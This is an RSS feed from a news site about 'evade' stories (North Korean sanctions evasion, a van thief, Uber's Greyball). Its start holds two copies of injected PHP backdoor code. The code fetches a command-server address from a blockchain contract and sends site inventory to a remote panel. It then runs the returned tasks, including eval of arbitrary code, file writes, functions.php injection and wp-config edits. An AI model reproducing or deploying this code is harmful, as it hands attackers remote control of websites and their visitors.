// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); evade – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 17 Sep 2018 15:30:23 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png evade – Brief News https://briefnews.eu 32 32 North Koreans have been hiding their identities to evade sanctions https://briefnews.eu/north-koreans-have-been-hiding-their-identities-to-evade-sanctions/ https://briefnews.eu/north-koreans-have-been-hiding-their-identities-to-evade-sanctions/#respond Mon, 17 Sep 2018 15:30:23 +0000 http://briefnews.eu/north-koreans-have-been-hiding-their-identities-to-evade-sanctions/

The US Department of the Treasury recently warned IT companies and individuals that individuals from North Korea are using fake online information in order to win employment for technology projects. These individuals often hide behind businesses that are nominally Chinese owned, but often are completely controlled and managed by North Koreans.

The Treasury Department specifically identified two guilty companies, China Silver Star and Volsys Silver Star. Doing business with North Korea, or any business that employs North Korean citizens is, of course, against US and UN sanctions.

The Wall Street Journal expanded on this issue by looking into a North Korean operated business out of China that developed apps, mobile games and more for people and businesses across the world. The companies and individuals that did business with them through avenues such as Facebook, LinkedIn, Upwork and Freelancer.com thought they were Chinese programmers; they had no idea they were doing business with North Koreans.

It’s possible that, using these fake profiles, these North Korean companies have made millions of dollars off of unsuspecting clients, using apps like Slack, Github and PayPal to remain as anonymous as possible. The Wall Street Journal notes that these tactics are similar to the ones that Russians were able to use to influence the 2016 US elections.

Via: TechCrunch

Source: Department of Treasury, The Wall Street Journal

]]> https://briefnews.eu/north-koreans-have-been-hiding-their-identities-to-evade-sanctions/feed/ 0 WATCH: Thief attempts to steal van and evade police but soon regrets it when THIS happens https://briefnews.eu/watch-thief-attempts-to-steal-van-and-evade-police-but-soon-regrets-it-when-this-happens/ https://briefnews.eu/watch-thief-attempts-to-steal-van-and-evade-police-but-soon-regrets-it-when-this-happens/#respond Sat, 22 Jul 2017 14:30:37 +0000 http://briefnews.eu/watch-thief-attempts-to-steal-van-and-evade-police-but-soon-regrets-it-when-this-happens/

In a clip shared to Imgur, a van can be seen driving very fast round the corner and on to a busy street.

The van races down the rod, and two police cars in hot pursuit come into view on the camera.

But if the thief thought he would manage to outrun the police, he was sadly mistaken.

Because instead of his speeding helping him to escape, it actually caused him to get caught.

Attempting to turn another corner at high speed, the van crashes onto its side.

The van lands heavily and crashes to a stop, allowing the police to jump out of their cars and run towards the now stationary vehicle.

The thief jumps out of the van via the door, but runs straight into a police officer as he attempts to make a getaway.

The clip ends as he is being arrested.

The video has gone viral on Imgur, with over 13000 views.

Most commenters joke about the incompetence of the thief, and one wrote: “Driver has not watched enough action movies or he would have hit that pallet of water bottles.”

Another said: “Didn’t give him wings”.

The clip of the truck thief suffering instant karma comes as one man was caught on camera stealing a car’s wing mirror – but got his just desserts.

CCTV footage uploaded to YouTube shows a man turning off a main road into a side street and heading towards one of two parked cars.

He approaches the car from the rear, glancing over it to check no one’s inside, before heading for the right wing mirror.

As he crouches down to pull it off, another man appears on a motorbike.

He appears to be minding his own business, and doesn’t even look at the thief on the right to see what he’s doing.

Let’s block ads! (Why?)

Daily Express :: Life and Style Feed

]]> https://briefnews.eu/watch-thief-attempts-to-steal-van-and-evade-police-but-soon-regrets-it-when-this-happens/feed/ 0 Uber reportedly under investigation over use of software to evade authorities https://briefnews.eu/uber-reportedly-under-investigation-over-use-of-software-to-evade-authorities/ https://briefnews.eu/uber-reportedly-under-investigation-over-use-of-software-to-evade-authorities/#respond Thu, 04 May 2017 23:58:27 +0000 http://briefnews.eu/uber-reportedly-under-investigation-over-use-of-software-to-evade-authorities/

(Reuters) — The U.S. Department of Justice has begun a criminal investigation into Uber Technologies Inc’s use of a software tool that helped its drivers evade local transportation regulators, two sources familiar with the situation said.

Uber has acknowledged the software, known as “Greyball,” helped it identify and circumvent government officials who were trying to clamp down on Uber in areas where its service had not yet been approved, such as Portland, Oregon.

The company prohibited the use of Greyball for this purpose shortly after the New York Times revealed its existence in March, saying the program was created to check ride requests to prevent fraud and safeguard drivers. The Times report triggered a barrage of negative publicity for the company.

The criminal probe could become a significant problem facing the company that is already struggling with an array of recent business and legal issues.

An Uber spokesman and the Justice Department declined to comment. Uber lawyers said in letters to Portland authorities, which Portland made public in a report last week, that the Greyball technology was used ”exceedingly sparingly” in that city, before the service was approved there in 2015.

The nature of any potential federal criminal violation, and the likelihood of anyone being charged, is unclear. The investigation is still in its early stages, the sources said.

Bloomberg news service reported the existence of a federal probe last week, but did not identify it as criminal.

Aggressive startup

Uber received a subpoena from a Northern California grand jury seeking documents concerning how the software tool functioned and where it was deployed, one person familiar with the request said. That indicates a criminal investigation is underway. The second source confirmed that was the case.

A subpoena from a grand jury is a formal request for documents or testimony concerning a potential crime. It does not, in itself, indicate wrongdoing or mean charges will be brought.

The ride services company’s board has retained an outside law firm, Shearman & Sterling LLP, to conduct its own internal investigation into what transpired, those two sources and a third said.

A Shearman spokeswoman did not return a message seeking comment.

Uber, a venture capital-backed firm most recently valued at $ 68 billion, has long had a reputation as an aggressive startup.

It has been battered with multiple controversies over the last few months that have raised questions about Chief Executive Travis Kalanick and led him to say he needed “leadership help.”

Mining credit card info

The technology at issue in the criminal probe helped Uber tag some users so that they saw a different version of its standard app, the company said in a blog post in March.

Uber said Greyball obscured the real location of Uber cars in various circumstances, including the possibility of physical threats or merely to test new features.

The program was part of a broader Uber system, called Violation of Terms of Service, that analyzed credit card, device identification, location data and other factors to predict whether a request for a ride was legitimate, current and former employees said.

The technology was used partly to prevent fraud and protect drivers from harm, the company blog post said. If a ride request was deemed illegitimate, Uber’s app showed bogus information and the requester would not be picked up, the employees told Reuters.

However, the Greyball technique was also used against suspected local officials who could have been looking to fine drivers, impound cars or otherwise prevent Uber from operating, the employees said.

The system might have gone farther than suggested by Uber’s terms of service for app users. For example, it mined credit card information to see if the owner was affiliated with a credit union used by police and checked social media profiles to assess the likelihood that the person was in law enforcement.

After the Times exposed the program in March, regulators who had been unable to catch Uber in places where it was banned accused the company of obstructing their inquiries.

Transportation officials in Portland investigated and reported last week that Uber had used Greyball to evade 16 Portland Bureau of Transportation officials, denying them dozens of rides, in December 2014 before Uber was authorized to operate there.

The city said it found no evidence that the behavior was repeated when Uber re-entered the market in April 2015.

Uber said it used the Greyball technology in December 2014, while it was operating without approval, because it was “deeply concerned that its driver-partners would be penalized financially” or otherwise for their driving.

(By Dan Levine and Joseph Menn, editing by Peter Henderson and Bill Rigby)

VentureBeat

]]> https://briefnews.eu/uber-reportedly-under-investigation-over-use-of-software-to-evade-authorities/feed/ 0 Uber used secret tool to evade authorities https://briefnews.eu/uber-used-secret-tool-to-evade-authorities/ https://briefnews.eu/uber-used-secret-tool-to-evade-authorities/#respond Sat, 04 Mar 2017 04:51:03 +0000 http://briefnews.eu/uber-used-secret-tool-to-evade-authorities/ travis-kalanick-uber-ceo

(Reuters) – Ride services company Uber for years has used a secret tool to avoid authorities in markets where its service faced resistance by law enforcement or was banned, the company confirmed on Friday.

The New York Times first reported the existence of the program, called Greyball, which uses data from the Uber app and other methods to identify and circumvent officials who aimed to ticket or apprehend drivers in cities that opposed its operations.

Rides hailed from a location near a city enforcement agency suspected of launching a sting to trap Uber drivers could be ignored or canceled, for instance, the Times report said.

The tool allowed Uber to show images of “ghost” Uber cars on the app or show that no cars were available, according to the newspaper, in order to deceive authorities. Officials in certain cities without a legal framework for ride services have aimed to ticket, tow and impound the cars.

A spokeswoman for Uber said Greyball was still in use, though scaled back. It grew out of an effort to protect the app from disruption by competitors and drivers from abuse and, in more rare cases, was also used where there were enforcement stings, she said.

Meanwhile, Uber’s best-known security researcher and vice president of product and growth resigned on Friday, without giving reasons. It was unclear if the departures were connected to Greyball.

Revelations about the Greyball program come after a series of events bringing Uber’s practices into doubt that has raised customer and investor concern.

Those include allegations of sexual harassment that prompted an internal investigation at the company, a video of Chief Executive Travis Kalanick arguing with an Uber driver that led him to make a public apology and pledge to “grow up”, and a lawsuit by Alphabet Inc’s self-driving car unit, Waymo, accusing Uber of stealing designs for technology for autonomous cars. Uber has said Waymo’s claims are false.

In an email, Uber said the Greyball program “denies ride requests to fraudulent users who are violating our terms of service — whether that’s people aiming to physically harm drivers, competitors looking to disrupt our operations, or opponents who collude with officials on secret ‘stings’ meant to entrap drivers.”

The tactic had been scaled back considerably as the company won the right to operate in more places, a spokeswoman added.

She said that Uber’s legal department had approved the practice in locations where Uber was not clearly banned, and that Uber’s terms of use required riders use the ride hailing app for personal, not commercial, reasons and to not cause “nuisance” to drivers.

The program is still being used when drivers are under threat of arrest or other legal punishment in some cities within 15 U.S. states without clear ride-sharing laws, she said, adding that she did not know in which other countries the system is being used.

A source earlier on Friday had told Reuters that the program had not been in use in the United States for more than a year.

The New York Times said Uber used the methods to evade authorities in cities including Boston, Paris and Las Vegas, and in countries such as Australia, China, Italy and South Korea.

